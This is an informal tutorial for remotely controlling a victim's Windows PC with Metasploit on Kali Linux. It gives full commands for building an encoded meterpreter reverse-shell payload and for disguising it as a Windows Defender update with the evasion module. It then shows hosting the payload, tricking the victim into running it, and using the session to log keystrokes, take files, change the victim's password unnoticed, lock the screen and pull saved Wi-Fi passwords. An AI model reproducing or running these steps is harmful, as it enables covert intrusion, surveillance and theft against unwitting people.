Use metasploit on kali linux to take any windows PC control, as if you were in a teamviewer mode (remote mode):

In kali, do:
1-)msfconsole (to launch metasploit terminal), before doing this, you'll have
 to start postgresql first.
So, do: service postgresql start
then, retype the command above (msfconsole)

2-)service metasploit start, (if having error while typing "msfconsole", do this one).
You might still get into trouble with this popping error: Failed to start metasploit.service: Unit metasploit.service not found.
If so, do this:
3-)/etc/init.d/postgresql start
4-)Now do: msfdb init
5-)ifconfig (to know your LHOST IP add, for, you will need it. Set up your kali net-
   work adapter as "bridge")
6-) Open another terminal and type the command from (1).
7-) Check the status to see if metasploit is connected with postgresql:
db_status, press enter
¬ Type: use /exploit/multi/handler
9-) Type: "show options", you will see nothing under "Name, Current, Setting...", so
then, type: set PAYLOAD windows/meterpreter/reverse_tcp
10-) Again "show options", then "set LHOST 192.168.1.190" (IPAddress ou a). Again "show
options" to see it
11-) Now, it's time to take control of that windows PC:
Type: msfvenom -h (to see which command you want to execute, there will so many)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.190 LPORT=4444 -f exe -e x64/shikata_ga_nai -i 10 > /root/Desktop/anyen.exe
NOTE:
If you choose for linux, the command would be:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.1.199 LPORT=4444 -f jar -b "\x00" -i 10 > /root/Desktop/blabla.jar (the difference is the file extension and the encoding {-b "\x00" })

And type on your metasploit terminal "exploit", without quotes, and wait.
12-) Then, send the file to the windows'pc victim. Whenever he clicks and opens it, you
can manipulate his computer from your kali linux (create file, folders, move, log his
typed text...). E.g: keyscan_start, then press enter. To see what he has typed, type in
that metasploit terminal "keyscan_dump" and hit enter.

==========================Using metasploit evasion (quite the same process)======================
Your metasploit might not contain "evasion" if it is a v.4.16 version. You need to upgrade it by downloading this deb file "v5.30 metasploit-framework and install it "dpkg -i ..."
a) Open up a terminal and type: service postgresql start
b) Open up another one and type: msfconsole
c) Type in b): use evasion, then press enter
d) Type right after "msf5 >" this command: use evasion/windows/windows_defender_exe (if u want to fool the victim for an update version of windows defender).
e) Type: info, to have some information. Then type: set payload windows/meterpreter/reverse_https, 
if you are going to fool him with a reverse https protocol.
f) Type: show options, to list the options.
g) Type: set lhost YOURIPADDRESS, (you can get it while opening another terminal and type: ifconfig)
h) Again type: show options, to see how it is now.
i) Now, you can create an .exe extension filename. Type: set filename blabla.exe, then press enter.
Then, you'll have to run it by typing: "exploit"
j) Move that created file into /var/www/html, then start your apache server
mv blabla.exe /var/www/html, and service apache2 start. If you need to download that file from your web link, then copy your IP without https and without that port, and add "/blabla.exe".

NOTE: You have to connect to the same Wifi with the victim PC, or the same Ethernet if using virtualBox.
k) Now, before sending it to the victim's pc, we have to handle it. In the msf evasion(windows/windows_defender_exe) > terminal, type: "back". After, type "use multi/handler", then press enter
l) After setting up the handler, set the same payload as you did before as well. Type:
set payloads windows/meterpreter/reverse_https, then press enter.
m) Set the same lhost and port as well like you did before:
set lhost YOURIPADDRESS, enter
show options, to verify if has the same port. Otherwise, you can write "set lport 8443" for example, in order to be sure.
n) Now run it by exploiting it. "exploit"
Now, you have a https link started on your multi/handler terminal. Copy this link without the port and add "/blabla.exe" after it and incite the victim by clicking on it and run it.
o) When the victim clicks and runs it, you will automatically get noticed on your terminal with something like this: "Meterpreter session 1 opened (192.168.1. 199:8443 ->TheVictimeIP) at time..."
and you will be now in a "meterpreter >" area for typing what you need.
Type: "help" to list all commands you have at disposition.
p) You can firstly check the victim's PC information by typing "sysinfo" as one of the listed commands above.
q) U can check his drive mount, anything you can try from those commands. show_mount, press enter.
r) Enter the victim directories: cd c: and press enter. List content: "ls", "cd Documents,...". Return to a previous directory "cd ..". Download and upload things from/to a directory, type:
download "any from the content listed", with quotes along with its extension; then, upload "anything from your Kali path". 
s) Type "shell" to be surely know on which directory you are, and to enter the windows commands. Type: cd .. to move up up up up. While in "C:\>", type "dir" to list all its directories and files. Then you can: Open a music, images on his computer, type on your meterpreter console: explorer "TheNameOfThatFile, included its extension".
t) Check the PC's name. 
Go back with "cd .." till you reach the "C:\>", then type there "whoami", then press enter. Check whether that user is an admin, type: "net user".
Change his password without needed the old password, no matter what if he's an admin or not. Type: net user t-uzz (the userName) blablabla (any password) 
Well, the victim will not even realize if his password gets changed.
So, we can get him nervous by locking his account, so that he could not enter his PC ¬. Go to his system32 folder by typing: cd Windows/System32 (if you were in "d" directory, you would type: cd c:/Windows/System32)
Then, type: dir, to see all of its contents. You need these files to be run "rundll32.exe" and user32.dll along with this command "LockWorkStation". The full command to type in the console is:
rundll32.exe user32.dll LockWorkStation, then press enter. Automatically his screen will get locked.
u) You can check his wifi password which he has already connect to with his PC. Type
netsh wlan show profiles, then press enter
netsh wlan profile name = "blaaaaaa" key=clear, then press enter. The psw will be located on the row of "key content".
v) Type "exit" to leave the shell and return to the meterpreter area.